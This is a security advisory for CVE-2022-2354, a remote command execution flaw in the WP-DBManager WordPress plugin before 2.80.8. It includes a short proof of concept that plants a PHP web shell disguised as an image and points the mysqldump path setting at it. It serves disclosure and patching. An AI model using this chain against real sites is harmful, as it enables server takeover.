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WP-DBManager < 2.80.8 - Admin+ Remote Command Execution

Description

The plugin does not prevent administrators from running arbitrary commands on the server in multisite installations, where only super-administrators should.

Proof of Concept

# Use any WordPress plugin that allows the users to upload files with extension - ".php" is not required -  for example: .jpg (usually many plugins allows such extensions)
# Upload your malicious file, for example: test_rce.jpg with the following content:

<?php system("COMMAND"); ?>

# Go to "DB Options" under WP-DBManager plugin
# Define the below payload as "Path To mysqldump" parameter's value:

/usr/bin/php /var/www/blog/test_rce.jpg

# Go to "Backup DB" and click on "Backup" button
# Command will get executed without any issues 

Affects Plugins

wp-dbmanager
Fixed in version 2.80.8

References

CVE
CVE-2022-2354

Classification

Type

RCE

OWASP top 10
A1: Injection
CWE
CWE-94

Miscellaneous

Original Researcher

Raad Haddad of Cloudyrion GmbH

Submitter

Raad Haddad of Cloudyrion GmbH

Submitter twitter
raadfhaddad
Verified

Yes

WPVDB ID
1c8c5861-ce87-4813-9e26-470d63c1903a

Timeline

Publicly Published

2022-07-25 (about 10 months ago)

Added

2022-07-25 (about 10 months ago)

Last Updated

2022-08-25 (about 9 months ago)

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